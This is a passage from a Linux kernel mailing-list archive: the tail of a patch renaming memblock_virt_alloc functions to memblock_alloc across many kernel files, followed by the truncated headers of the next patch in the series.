 	else
-		return memblock_virt_alloc_try_nid_nopanic(size, size,
+		return memblock_alloc_try_nid_nopanic(size, size,
 			__pa(MAX_DMA_ADDRESS), BOOTMEM_ALLOC_ACCESSIBLE, nid);
 }
 
diff --git a/arch/xtensa/mm/kasan_init.c b/arch/xtensa/mm/kasan_init.c
index 6b532b6..1a30a25 100644
--- a/arch/xtensa/mm/kasan_init.c
+++ b/arch/xtensa/mm/kasan_init.c
@@ -43,7 +43,7 @@ static void __init populate(void *start, void *end)
 	unsigned long vaddr = (unsigned long)start;
 	pgd_t *pgd = pgd_offset_k(vaddr);
 	pmd_t *pmd = pmd_offset(pgd, vaddr);
-	pte_t *pte = memblock_virt_alloc(n_pages * sizeof(pte_t), PAGE_SIZE);
+	pte_t *pte = memblock_alloc(n_pages * sizeof(pte_t), PAGE_SIZE);
 
 	pr_debug("%s: %p - %p\n", __func__, start, end);
 
diff --git a/drivers/clk/ti/clk.c b/drivers/clk/ti/clk.c
index 33001a7..a0136ed 100644
--- a/drivers/clk/ti/clk.c
+++ b/drivers/clk/ti/clk.c
@@ -347,7 +347,7 @@ void __init omap2_clk_legacy_provider_init(int index, void __iomem *mem)
 {
 	struct clk_iomap *io;
 
-	io = memblock_virt_alloc(sizeof(*io), 0);
+	io = memblock_alloc(sizeof(*io), 0);
 
 	io->mem = mem;
 
diff --git a/drivers/firmware/memmap.c b/drivers/firmware/memmap.c
index 5de3ed2..03cead6 100644
--- a/drivers/firmware/memmap.c
+++ b/drivers/firmware/memmap.c
@@ -333,7 +333,7 @@ int __init firmware_map_add_early(u64 start, u64 end, const char *type)
 {
 	struct firmware_map_entry *entry;
 
-	entry = memblock_virt_alloc(sizeof(struct firmware_map_entry), 0);
+	entry = memblock_alloc(sizeof(struct firmware_map_entry), 0);
 	if (WARN_ON(!entry))
 		return -ENOMEM;
 
diff --git a/drivers/of/fdt.c b/drivers/of/fdt.c
index bd841bb..34dd878 100644
--- a/drivers/of/fdt.c
+++ b/drivers/of/fdt.c
@@ -1198,7 +1198,7 @@ int __init __weak early_init_dt_reserve_memory_arch(phys_addr_t base,
 
 static void * __init early_init_dt_alloc_memory_arch(u64 size, u64 align)
 {
-	return memblock_virt_alloc(size, align);
+	return memblock_alloc(size, align);
 }
 
 bool __init early_init_dt_verify(void *params)
diff --git a/drivers/of/unittest.c b/drivers/of/unittest.c
index 35b7886..07c9217 100644
--- a/drivers/of/unittest.c
+++ b/drivers/of/unittest.c
@@ -2182,7 +2182,7 @@ static struct device_node *overlay_base_root;
 
 static void * __init dt_alloc_memory(u64 size, u64 align)
 {
-	return memblock_virt_alloc(size, align);
+	return memblock_alloc(size, align);
 }
 
 /*
diff --git a/include/linux/bootmem.h b/include/linux/bootmem.h
index b74bafd1..7d91f0f 100644
--- a/include/linux/bootmem.h
+++ b/include/linux/bootmem.h
@@ -95,78 +95,78 @@ extern void *__alloc_bootmem_low(unsigned long size,
 #define BOOTMEM_ALLOC_ANYWHERE		(~(phys_addr_t)0)
 
 /* FIXME: Move to memblock.h at a point where we remove nobootmem.c */
-void *memblock_virt_alloc_try_nid_raw(phys_addr_t size, phys_addr_t align,
+void *memblock_alloc_try_nid_raw(phys_addr_t size, phys_addr_t align,
 				      phys_addr_t min_addr,
 				      phys_addr_t max_addr, int nid);
-void *memblock_virt_alloc_try_nid_nopanic(phys_addr_t size,
+void *memblock_alloc_try_nid_nopanic(phys_addr_t size,
 		phys_addr_t align, phys_addr_t min_addr,
 		phys_addr_t max_addr, int nid);
-void *memblock_virt_alloc_try_nid(phys_addr_t size, phys_addr_t align,
+void *memblock_alloc_try_nid(phys_addr_t size, phys_addr_t align,
 		phys_addr_t min_addr, phys_addr_t max_addr, int nid);
 void __memblock_free_early(phys_addr_t base, phys_addr_t size);
 void __memblock_free_late(phys_addr_t base, phys_addr_t size);
 
-static inline void * __init memblock_virt_alloc(
+static inline void * __init memblock_alloc(
 					phys_addr_t size,  phys_addr_t align)
 {
-	return memblock_virt_alloc_try_nid(size, align, BOOTMEM_LOW_LIMIT,
+	return memblock_alloc_try_nid(size, align, BOOTMEM_LOW_LIMIT,
 					    BOOTMEM_ALLOC_ACCESSIBLE,
 					    NUMA_NO_NODE);
 }
 
-static inline void * __init memblock_virt_alloc_raw(
+static inline void * __init memblock_alloc_raw(
 					phys_addr_t size,  phys_addr_t align)
 {
-	return memblock_virt_alloc_try_nid_raw(size, align, BOOTMEM_LOW_LIMIT,
+	return memblock_alloc_try_nid_raw(size, align, BOOTMEM_LOW_LIMIT,
 					    BOOTMEM_ALLOC_ACCESSIBLE,
 					    NUMA_NO_NODE);
 }
 
-static inline void * __init memblock_virt_alloc_nopanic(
+static inline void * __init memblock_alloc_nopanic(
 					phys_addr_t size, phys_addr_t align)
 {
-	return memblock_virt_alloc_try_nid_nopanic(size, align,
+	return memblock_alloc_try_nid_nopanic(size, align,
 						    BOOTMEM_LOW_LIMIT,
 						    BOOTMEM_ALLOC_ACCESSIBLE,
 						    NUMA_NO_NODE);
 }
 
-static inline void * __init memblock_virt_alloc_low(
+static inline void * __init memblock_alloc_low(
 					phys_addr_t size, phys_addr_t align)
 {
-	return memblock_virt_alloc_try_nid(size, align,
+	return memblock_alloc_try_nid(size, align,
 						   BOOTMEM_LOW_LIMIT,
 						   ARCH_LOW_ADDRESS_LIMIT,
 						   NUMA_NO_NODE);
 }
-static inline void * __init memblock_virt_alloc_low_nopanic(
+static inline void * __init memblock_alloc_low_nopanic(
 					phys_addr_t size, phys_addr_t align)
 {
-	return memblock_virt_alloc_try_nid_nopanic(size, align,
+	return memblock_alloc_try_nid_nopanic(size, align,
 						   BOOTMEM_LOW_LIMIT,
 						   ARCH_LOW_ADDRESS_LIMIT,
 						   NUMA_NO_NODE);
 }
 
-static inline void * __init memblock_virt_alloc_from_nopanic(
+static inline void * __init memblock_alloc_from_nopanic(
 		phys_addr_t size, phys_addr_t align, phys_addr_t min_addr)
 {
-	return memblock_virt_alloc_try_nid_nopanic(size, align, min_addr,
+	return memblock_alloc_try_nid_nopanic(size, align, min_addr,
 						    BOOTMEM_ALLOC_ACCESSIBLE,
 						    NUMA_NO_NODE);
 }
 
-static inline void * __init memblock_virt_alloc_node(
+static inline void * __init memblock_alloc_node(
 						phys_addr_t size, int nid)
 {
-	return memblock_virt_alloc_try_nid(size, 0, BOOTMEM_LOW_LIMIT,
+	return memblock_alloc_try_nid(size, 0, BOOTMEM_LOW_LIMIT,
 					    BOOTMEM_ALLOC_ACCESSIBLE, nid);
 }
 
-static inline void * __init memblock_virt_alloc_node_nopanic(
+static inline void * __init memblock_alloc_node_nopanic(
 						phys_addr_t size, int nid)
 {
-	return memblock_virt_alloc_try_nid_nopanic(size, 0, BOOTMEM_LOW_LIMIT,
+	return memblock_alloc_try_nid_nopanic(size, 0, BOOTMEM_LOW_LIMIT,
 						    BOOTMEM_ALLOC_ACCESSIBLE,
 						    nid);
 }
diff --git a/init/main.c b/init/main.c
index 18f8f01..d0b92bd 100644
--- a/init/main.c
+++ b/init/main.c
@@ -375,10 +375,10 @@ static inline void smp_prepare_cpus(unsigned int maxcpus) { }
 static void __init setup_command_line(char *command_line)
 {
 	saved_command_line =
-		memblock_virt_alloc(strlen(boot_command_line) + 1, 0);
+		memblock_alloc(strlen(boot_command_line) + 1, 0);
 	initcall_command_line =
-		memblock_virt_alloc(strlen(boot_command_line) + 1, 0);
-	static_command_line = memblock_virt_alloc(strlen(command_line) + 1, 0);
+		memblock_alloc(strlen(boot_command_line) + 1, 0);
+	static_command_line = memblock_alloc(strlen(command_line) + 1, 0);
 	strcpy(saved_command_line, boot_command_line);
 	strcpy(static_command_line, command_line);
 }
diff --git a/kernel/dma/swiotlb.c b/kernel/dma/swiotlb.c
index 4f8a6db..d9fd062 100644
--- a/kernel/dma/swiotlb.c
+++ b/kernel/dma/swiotlb.c
@@ -215,7 +215,7 @@ int __init swiotlb_init_with_tbl(char *tlb, unsigned long nslabs, int verbose)
 	/*
 	 * Get the overflow emergency buffer
 	 */
-	v_overflow_buffer = memblock_virt_alloc_low_nopanic(
+	v_overflow_buffer = memblock_alloc_low_nopanic(
 						PAGE_ALIGN(io_tlb_overflow),
 						PAGE_SIZE);
 	if (!v_overflow_buffer)
@@ -228,10 +228,10 @@ int __init swiotlb_init_with_tbl(char *tlb, unsigned long nslabs, int verbose)
 	 * to find contiguous free memory regions of size up to IO_TLB_SEGSIZE
 	 * between io_tlb_start and io_tlb_end.
 	 */
-	io_tlb_list = memblock_virt_alloc(
+	io_tlb_list = memblock_alloc(
 				PAGE_ALIGN(io_tlb_nslabs * sizeof(int)),
 				PAGE_SIZE);
-	io_tlb_orig_addr = memblock_virt_alloc(
+	io_tlb_orig_addr = memblock_alloc(
 				PAGE_ALIGN(io_tlb_nslabs * sizeof(phys_addr_t)),
 				PAGE_SIZE);
 	for (i = 0; i < io_tlb_nslabs; i++) {
@@ -266,7 +266,7 @@ swiotlb_init(int verbose)
 	bytes = io_tlb_nslabs << IO_TLB_SHIFT;
 
 	/* Get IO TLB memory from the low pages */
-	vstart = memblock_virt_alloc_low_nopanic(PAGE_ALIGN(bytes), PAGE_SIZE);
+	vstart = memblock_alloc_low_nopanic(PAGE_ALIGN(bytes), PAGE_SIZE);
 	if (vstart && !swiotlb_init_with_tbl(vstart, io_tlb_nslabs, verbose))
 		return;
 
diff --git a/kernel/power/snapshot.c b/kernel/power/snapshot.c
index 3d37c27..34116a6 100644
--- a/kernel/power/snapshot.c
+++ b/kernel/power/snapshot.c
@@ -963,7 +963,7 @@ void __init __register_nosave_region(unsigned long start_pfn,
 		BUG_ON(!region);
 	} else {
 		/* This allocation cannot fail */
-		region = memblock_virt_alloc(sizeof(struct nosave_region), 0);
+		region = memblock_alloc(sizeof(struct nosave_region), 0);
 	}
 	region->start_pfn = start_pfn;
 	region->end_pfn = end_pfn;
diff --git a/kernel/printk/printk.c b/kernel/printk/printk.c
index 9bf5404..3efcbe518 100644
--- a/kernel/printk/printk.c
+++ b/kernel/printk/printk.c
@@ -1106,9 +1106,9 @@ void __init setup_log_buf(int early)
 
 	if (early) {
 		new_log_buf =
-			memblock_virt_alloc(new_log_buf_len, LOG_ALIGN);
+			memblock_alloc(new_log_buf_len, LOG_ALIGN);
 	} else {
-		new_log_buf = memblock_virt_alloc_nopanic(new_log_buf_len,
+		new_log_buf = memblock_alloc_nopanic(new_log_buf_len,
 							  LOG_ALIGN);
 	}
 
diff --git a/lib/cpumask.c b/lib/cpumask.c
index beca624..1405cb2 100644
--- a/lib/cpumask.c
+++ b/lib/cpumask.c
@@ -163,7 +163,7 @@ EXPORT_SYMBOL(zalloc_cpumask_var);
  */
 void __init alloc_bootmem_cpumask_var(cpumask_var_t *mask)
 {
-	*mask = memblock_virt_alloc(cpumask_size(), 0);
+	*mask = memblock_alloc(cpumask_size(), 0);
 }
 
 /**
diff --git a/mm/hugetlb.c b/mm/hugetlb.c
index 5c390f5..3b63370 100644
--- a/mm/hugetlb.c
+++ b/mm/hugetlb.c
@@ -2100,7 +2100,7 @@ int __alloc_bootmem_huge_page(struct hstate *h)
 	for_each_node_mask_to_alloc(h, nr_nodes, node, &node_states[N_MEMORY]) {
 		void *addr;
 
-		addr = memblock_virt_alloc_try_nid_raw(
+		addr = memblock_alloc_try_nid_raw(
 				huge_page_size(h), huge_page_size(h),
 				0, BOOTMEM_ALLOC_ACCESSIBLE, node);
 		if (addr) {
diff --git a/mm/kasan/kasan_init.c b/mm/kasan/kasan_init.c
index 7a2a2f1..24d734b 100644
--- a/mm/kasan/kasan_init.c
+++ b/mm/kasan/kasan_init.c
@@ -83,7 +83,7 @@ static inline bool kasan_zero_page_entry(pte_t pte)
 
 static __init void *early_alloc(size_t size, int node)
 {
-	return memblock_virt_alloc_try_nid(size, size, __pa(MAX_DMA_ADDRESS),
+	return memblock_alloc_try_nid(size, size, __pa(MAX_DMA_ADDRESS),
 					BOOTMEM_ALLOC_ACCESSIBLE, node);
 }
 
diff --git a/mm/memblock.c b/mm/memblock.c
index f8b6b79..3a21476 100644
--- a/mm/memblock.c
+++ b/mm/memblock.c
@@ -1370,7 +1370,7 @@ phys_addr_t __init memblock_phys_alloc_try_nid(phys_addr_t size, phys_addr_t ali
 }
 
 /**
- * memblock_virt_alloc_internal - allocate boot memory block
+ * memblock_alloc_internal - allocate boot memory block
  * @size: size of memory block to be allocated in bytes
  * @align: alignment of the region and block's size
  * @min_addr: the lower bound of the memory region to allocate (phys address)
@@ -1396,7 +1396,7 @@ phys_addr_t __init memblock_phys_alloc_try_nid(phys_addr_t size, phys_addr_t ali
  * Return:
  * Virtual address of allocated memory block on success, NULL on failure.
  */
-static void * __init memblock_virt_alloc_internal(
+static void * __init memblock_alloc_internal(
 				phys_addr_t size, phys_addr_t align,
 				phys_addr_t min_addr, phys_addr_t max_addr,
 				int nid)
@@ -1463,7 +1463,7 @@ static void * __init memblock_virt_alloc_internal(
 }
 
 /**
- * memblock_virt_alloc_try_nid_raw - allocate boot memory block without zeroing
+ * memblock_alloc_try_nid_raw - allocate boot memory block without zeroing
  * memory and without panicking
  * @size: size of memory block to be allocated in bytes
  * @align: alignment of the region and block's size
@@ -1481,7 +1481,7 @@ static void * __init memblock_virt_alloc_internal(
  * Return:
  * Virtual address of allocated memory block on success, NULL on failure.
  */
-void * __init memblock_virt_alloc_try_nid_raw(
+void * __init memblock_alloc_try_nid_raw(
 			phys_addr_t size, phys_addr_t align,
 			phys_addr_t min_addr, phys_addr_t max_addr,
 			int nid)
@@ -1492,7 +1492,7 @@ void * __init memblock_virt_alloc_try_nid_raw(
 		     __func__, (u64)size, (u64)align, nid, &min_addr,
 		     &max_addr, (void *)_RET_IP_);
 
-	ptr = memblock_virt_alloc_internal(size, align,
+	ptr = memblock_alloc_internal(size, align,
 					   min_addr, max_addr, nid);
 #ifdef CONFIG_DEBUG_VM
 	if (ptr && size > 0)
@@ -1502,7 +1502,7 @@ void * __init memblock_virt_alloc_try_nid_raw(
 }
 
 /**
- * memblock_virt_alloc_try_nid_nopanic - allocate boot memory block
+ * memblock_alloc_try_nid_nopanic - allocate boot memory block
  * @size: size of memory block to be allocated in bytes
  * @align: alignment of the region and block's size
  * @min_addr: the lower bound of the memory region from where the allocation
@@ -1518,7 +1518,7 @@ void * __init memblock_virt_alloc_try_nid_raw(
  * Return:
  * Virtual address of allocated memory block on success, NULL on failure.
  */
-void * __init memblock_virt_alloc_try_nid_nopanic(
+void * __init memblock_alloc_try_nid_nopanic(
 				phys_addr_t size, phys_addr_t align,
 				phys_addr_t min_addr, phys_addr_t max_addr,
 				int nid)
@@ -1529,7 +1529,7 @@ void * __init memblock_virt_alloc_try_nid_nopanic(
 		     __func__, (u64)size, (u64)align, nid, &min_addr,
 		     &max_addr, (void *)_RET_IP_);
 
-	ptr = memblock_virt_alloc_internal(size, align,
+	ptr = memblock_alloc_internal(size, align,
 					   min_addr, max_addr, nid);
 	if (ptr)
 		memset(ptr, 0, size);
@@ -1537,7 +1537,7 @@ void * __init memblock_virt_alloc_try_nid_nopanic(
 }
 
 /**
- * memblock_virt_alloc_try_nid - allocate boot memory block with panicking
+ * memblock_alloc_try_nid - allocate boot memory block with panicking
  * @size: size of memory block to be allocated in bytes
  * @align: alignment of the region and block's size
  * @min_addr: the lower bound of the memory region from where the allocation
@@ -1547,14 +1547,14 @@ void * __init memblock_virt_alloc_try_nid_nopanic(
  *	      allocate only from memory limited by memblock.current_limit value
  * @nid: nid of the free area to find, %NUMA_NO_NODE for any node
  *
- * Public panicking version of memblock_virt_alloc_try_nid_nopanic()
+ * Public panicking version of memblock_alloc_try_nid_nopanic()
  * which provides debug information (including caller info), if enabled,
  * and panics if the request can not be satisfied.
  *
  * Return:
  * Virtual address of allocated memory block on success, NULL on failure.
  */
-void * __init memblock_virt_alloc_try_nid(
+void * __init memblock_alloc_try_nid(
 			phys_addr_t size, phys_addr_t align,
 			phys_addr_t min_addr, phys_addr_t max_addr,
 			int nid)
@@ -1564,7 +1564,7 @@ void * __init memblock_virt_alloc_try_nid(
 	memblock_dbg("%s: %llu bytes align=0x%llx nid=%d from=%pa max_addr=%pa %pF\n",
 		     __func__, (u64)size, (u64)align, nid, &min_addr,
 		     &max_addr, (void *)_RET_IP_);
-	ptr = memblock_virt_alloc_internal(size, align,
+	ptr = memblock_alloc_internal(size, align,
 					   min_addr, max_addr, nid);
 	if (ptr) {
 		memset(ptr, 0, size);
@@ -1581,7 +1581,7 @@ void * __init memblock_virt_alloc_try_nid(
  * @base: phys starting address of the  boot memory block
  * @size: size of the boot memory block in bytes
  *
- * Free boot memory block previously allocated by memblock_virt_alloc_xx() API.
+ * Free boot memory block previously allocated by memblock_alloc_xx() API.
  * The freeing memory will not be released to the buddy allocator.
  */
 void __init __memblock_free_early(phys_addr_t base, phys_addr_t size)
diff --git a/mm/page_alloc.c b/mm/page_alloc.c
index 3f3094d..7658a6f 100644
--- a/mm/page_alloc.c
+++ b/mm/page_alloc.c
@@ -6121,7 +6121,7 @@ static void __ref setup_usemap(struct pglist_data *pgdat,
 	zone->pageblock_flags = NULL;
 	if (usemapsize)
 		zone->pageblock_flags =
-			memblock_virt_alloc_node_nopanic(usemapsize,
+			memblock_alloc_node_nopanic(usemapsize,
 							 pgdat->node_id);
 }
 #else
@@ -6363,7 +6363,7 @@ static void __ref alloc_node_mem_map(struct pglist_data *pgdat)
 		end = pgdat_end_pfn(pgdat);
 		end = ALIGN(end, MAX_ORDER_NR_PAGES);
 		size =  (end - start) * sizeof(struct page);
-		map = memblock_virt_alloc_node_nopanic(size, pgdat->node_id);
+		map = memblock_alloc_node_nopanic(size, pgdat->node_id);
 		pgdat->node_mem_map = map + offset;
 	}
 	pr_debug("%s: node %d, pgdat %08lx, node_mem_map %08lx\n",
@@ -7616,9 +7616,9 @@ void *__init alloc_large_system_hash(const char *tablename,
 		size = bucketsize << log2qty;
 		if (flags & HASH_EARLY) {
 			if (flags & HASH_ZERO)
-				table = memblock_virt_alloc_nopanic(size, 0);
+				table = memblock_alloc_nopanic(size, 0);
 			else
-				table = memblock_virt_alloc_raw(size, 0);
+				table = memblock_alloc_raw(size, 0);
 		} else if (hashdist) {
 			table = __vmalloc(size, gfp_flags, PAGE_KERNEL);
 		} else {
diff --git a/mm/page_ext.c b/mm/page_ext.c
index a9826da..e77c0f0 100644
--- a/mm/page_ext.c
+++ b/mm/page_ext.c
@@ -161,7 +161,7 @@ static int __init alloc_node_page_ext(int nid)
 
 	table_size = get_entry_size() * nr_pages;
 
-	base = memblock_virt_alloc_try_nid_nopanic(
+	base = memblock_alloc_try_nid_nopanic(
 			table_size, PAGE_SIZE, __pa(MAX_DMA_ADDRESS),
 			BOOTMEM_ALLOC_ACCESSIBLE, nid);
 	if (!base)
diff --git a/mm/percpu.c b/mm/percpu.c
index a749d4d..86bb9f6 100644
--- a/mm/percpu.c
+++ b/mm/percpu.c
@@ -1101,7 +1101,7 @@ static struct pcpu_chunk * __init pcpu_alloc_first_chunk(unsigned long tmp_addr,
 	region_size = ALIGN(start_offset + map_size, lcm_align);
 
 	/* allocate chunk */
-	chunk = memblock_virt_alloc(sizeof(struct pcpu_chunk) +
+	chunk = memblock_alloc(sizeof(struct pcpu_chunk) +
 				    BITS_TO_LONGS(region_size >> PAGE_SHIFT),
 				    0);
 
@@ -1114,11 +1114,11 @@ static struct pcpu_chunk * __init pcpu_alloc_first_chunk(unsigned long tmp_addr,
 	chunk->nr_pages = region_size >> PAGE_SHIFT;
 	region_bits = pcpu_chunk_map_bits(chunk);
 
-	chunk->alloc_map = memblock_virt_alloc(BITS_TO_LONGS(region_bits) *
+	chunk->alloc_map = memblock_alloc(BITS_TO_LONGS(region_bits) *
 					       sizeof(chunk->alloc_map[0]), 0);
-	chunk->bound_map = memblock_virt_alloc(BITS_TO_LONGS(region_bits + 1) *
+	chunk->bound_map = memblock_alloc(BITS_TO_LONGS(region_bits + 1) *
 					       sizeof(chunk->bound_map[0]), 0);
-	chunk->md_blocks = memblock_virt_alloc(pcpu_chunk_nr_blocks(chunk) *
+	chunk->md_blocks = memblock_alloc(pcpu_chunk_nr_blocks(chunk) *
 					       sizeof(chunk->md_blocks[0]), 0);
 	pcpu_init_md_blocks(chunk);
 
@@ -1887,7 +1887,7 @@ struct pcpu_alloc_info * __init pcpu_alloc_alloc_info(int nr_groups,
 			  __alignof__(ai->groups[0].cpu_map[0]));
 	ai_size = base_size + nr_units * sizeof(ai->groups[0].cpu_map[0]);
 
-	ptr = memblock_virt_alloc_nopanic(PFN_ALIGN(ai_size), PAGE_SIZE);
+	ptr = memblock_alloc_nopanic(PFN_ALIGN(ai_size), PAGE_SIZE);
 	if (!ptr)
 		return NULL;
 	ai = ptr;
@@ -2074,12 +2074,12 @@ int __init pcpu_setup_first_chunk(const struct pcpu_alloc_info *ai,
 	PCPU_SETUP_BUG_ON(pcpu_verify_alloc_info(ai) < 0);
 
 	/* process group information and build config tables accordingly */
-	group_offsets = memblock_virt_alloc(ai->nr_groups *
+	group_offsets = memblock_alloc(ai->nr_groups *
 					     sizeof(group_offsets[0]), 0);
-	group_sizes = memblock_virt_alloc(ai->nr_groups *
+	group_sizes = memblock_alloc(ai->nr_groups *
 					   sizeof(group_sizes[0]), 0);
-	unit_map = memblock_virt_alloc(nr_cpu_ids * sizeof(unit_map[0]), 0);
-	unit_off = memblock_virt_alloc(nr_cpu_ids * sizeof(unit_off[0]), 0);
+	unit_map = memblock_alloc(nr_cpu_ids * sizeof(unit_map[0]), 0);
+	unit_off = memblock_alloc(nr_cpu_ids * sizeof(unit_off[0]), 0);
 
 	for (cpu = 0; cpu < nr_cpu_ids; cpu++)
 		unit_map[cpu] = UINT_MAX;
@@ -2143,7 +2143,7 @@ int __init pcpu_setup_first_chunk(const struct pcpu_alloc_info *ai,
 	 * empty chunks.
 	 */
 	pcpu_nr_slots = __pcpu_size_to_slot(pcpu_unit_size) + 2;
-	pcpu_slot = memblock_virt_alloc(
+	pcpu_slot = memblock_alloc(
 			pcpu_nr_slots * sizeof(pcpu_slot[0]), 0);
 	for (i = 0; i < pcpu_nr_slots; i++)
 		INIT_LIST_HEAD(&pcpu_slot[i]);
@@ -2457,7 +2457,7 @@ int __init pcpu_embed_first_chunk(size_t reserved_size, size_t dyn_size,
 	size_sum = ai->static_size + ai->reserved_size + ai->dyn_size;
 	areas_size = PFN_ALIGN(ai->nr_groups * sizeof(void *));
 
-	areas = memblock_virt_alloc_nopanic(areas_size, 0);
+	areas = memblock_alloc_nopanic(areas_size, 0);
 	if (!areas) {
 		rc = -ENOMEM;
 		goto out_free;
@@ -2598,7 +2598,7 @@ int __init pcpu_page_first_chunk(size_t reserved_size,
 	/* unaligned allocations can't be freed, round up to page size */
 	pages_size = PFN_ALIGN(unit_pages * num_possible_cpus() *
 			       sizeof(pages[0]));
-	pages = memblock_virt_alloc(pages_size, 0);
+	pages = memblock_alloc(pages_size, 0);
 
 	/* allocate pages */
 	j = 0;
@@ -2687,7 +2687,7 @@ EXPORT_SYMBOL(__per_cpu_offset);
 static void * __init pcpu_dfl_fc_alloc(unsigned int cpu, size_t size,
 				       size_t align)
 {
-	return  memblock_virt_alloc_from_nopanic(
+	return  memblock_alloc_from_nopanic(
 			size, align, __pa(MAX_DMA_ADDRESS));
 }
 
@@ -2736,7 +2736,7 @@ void __init setup_per_cpu_areas(void)
 	void *fc;
 
 	ai = pcpu_alloc_alloc_info(1, 1);
-	fc = memblock_virt_alloc_from_nopanic(unit_size,
+	fc = memblock_alloc_from_nopanic(unit_size,
 					      PAGE_SIZE,
 					      __pa(MAX_DMA_ADDRESS));
 	if (!ai || !fc)
diff --git a/mm/sparse-vmemmap.c b/mm/sparse-vmemmap.c
index 8301293..91c2c3d 100644
--- a/mm/sparse-vmemmap.c
+++ b/mm/sparse-vmemmap.c
@@ -42,7 +42,7 @@ static void * __ref __earlyonly_bootmem_alloc(int node,
 				unsigned long align,
 				unsigned long goal)
 {
-	return memblock_virt_alloc_try_nid_raw(size, align, goal,
+	return memblock_alloc_try_nid_raw(size, align, goal,
 					       BOOTMEM_ALLOC_ACCESSIBLE, node);
 }
 
diff --git a/mm/sparse.c b/mm/sparse.c
index 10b07ee..04e97af 100644
--- a/mm/sparse.c
+++ b/mm/sparse.c
@@ -68,7 +68,7 @@ static noinline struct mem_section __ref *sparse_index_alloc(int nid)
 	if (slab_is_available())
 		section = kzalloc_node(array_size, GFP_KERNEL, nid);
 	else
-		section = memblock_virt_alloc_node(array_size, nid);
+		section = memblock_alloc_node(array_size, nid);
 
 	return section;
 }
@@ -216,7 +216,7 @@ void __init memory_present(int nid, unsigned long start, unsigned long end)
 
 		size = sizeof(struct mem_section*) * NR_SECTION_ROOTS;
 		align = 1 << (INTERNODE_CACHE_SHIFT);
-		mem_section = memblock_virt_alloc(size, align);
+		mem_section = memblock_alloc(size, align);
 	}
 #endif
 
@@ -306,7 +306,7 @@ sparse_early_usemaps_alloc_pgdat_section(struct pglist_data *pgdat,
 	limit = goal + (1UL << PA_SECTION_SHIFT);
 	nid = early_pfn_to_nid(goal >> PAGE_SHIFT);
 again:
-	p = memblock_virt_alloc_try_nid_nopanic(size,
+	p = memblock_alloc_try_nid_nopanic(size,
 						SMP_CACHE_BYTES, goal, limit,
 						nid);
 	if (!p && limit) {
@@ -362,7 +362,7 @@ static unsigned long * __init
 sparse_early_usemaps_alloc_pgdat_section(struct pglist_data *pgdat,
 					 unsigned long size)
 {
-	return memblock_virt_alloc_node_nopanic(size, pgdat->node_id);
+	return memblock_alloc_node_nopanic(size, pgdat->node_id);
 }
 
 static void __init check_usemap_section_nr(int nid, unsigned long *usemap)
@@ -391,7 +391,7 @@ struct page __init *sparse_mem_map_populate(unsigned long pnum, int nid,
 	if (map)
 		return map;
 
-	map = memblock_virt_alloc_try_nid(size,
+	map = memblock_alloc_try_nid(size,
 					  PAGE_SIZE, __pa(MAX_DMA_ADDRESS),
 					  BOOTMEM_ALLOC_ACCESSIBLE, nid);
 	return map;
@@ -405,7 +405,7 @@ static void __init sparse_buffer_init(unsigned long size, int nid)
 {
 	WARN_ON(sparsemap_buf);	/* forgot to call sparse_buffer_fini()? */
 	sparsemap_buf =
-		memblock_virt_alloc_try_nid_raw(size, PAGE_SIZE,
+		memblock_alloc_try_nid_raw(size, PAGE_SIZE,
 						__pa(MAX_DMA_ADDRESS),
 						BOOTMEM_ALLOC_ACCESSIBLE, nid);
 	sparsemap_buf_end = sparsemap_buf + size;
-- 
2.7.4

From - Thu Nov 08 21:41:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Mike Rapoport <rppt@linux.vnet.ibm.com>
Newsgroups: gmane.linux.ports.riscv,gmane.linux.kernel.mm,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.ports.hexagon,gmane.linux.kernel.arc,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: [PATCH 10/30] memblock: replace __alloc_bootmem_node_nopanic with
 memblock_alloc_try_nid_nopanic
Date: Fri, 14 Sep 2018 15:10:25 +0300
Lines: 32
Approved: news@gmane.org
Message-ID: <1536927045-23536-11-git-send-email-rppt@linux.vnet.ibm.com>
References: <1536927045-23536-1-git-send-email-rppt@linux.vnet.ibm.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1536927035 26860 195.159.176.226 (14 Sep 2018 12:10:35 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 14 Sep 2018 12:10:35 +0000 (UTC)
Cc: linux-mips@linux-mips.org, Michal Hocko <mhocko@suse.com>,
 linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
 Catalin Marinas <catalin.marinas@arm.com>, Palmer Dabbelt <palmer@sifive.com>,
 Russell King <linux@armlinux.org.uk>, Rich Felker <dalias@libc.org>,
 sparclinux@vger.kernel.org, linux-hexagon@vger.kernel.org,
 linux-riscv@lists.infradead.org, Jonas Bonn <jonas@southpole.se>,
 linux-s390@vger.kernel.org, linux-c6x-dev@linux-c6x.org,
 Yoshinori Sato <ysato@users.sourceforge.jp>, Jonathan Corbet <corbet@lwn.net>,
 Michael Ellerman <mpe@ellerman.id.au>,
 "James E.J. Bottomley" <jejb@parisc-linux.org>, Ingo Molnar <mingo@redhat.com>,
 Geert Uytterhoeven <geert@linux-m68k.org>, Mark Salter <msalter@redhat.com>,
 Matt Turner <mattst88@gmail.com>, linux-snps-arc@lists.infradead.org,
 uclinux-h8-devel@lists.sourceforge.jp, Mike Rapoport <rppt@linux.vnet.ibm.com>,
 linux-alpha@vge
To: linux-mm@kvack.org
Original-X-From: linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org Fri Sep 14 14:10:26 2018
Return-path: <linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org>
Envelope-to: glpr-linux-riscv@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org>)
	id 1g0mva-0006nu-6r
	for glpr-linux-riscv@m.gmane.org; Fri, 14 Sep 2018 14:10:26 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
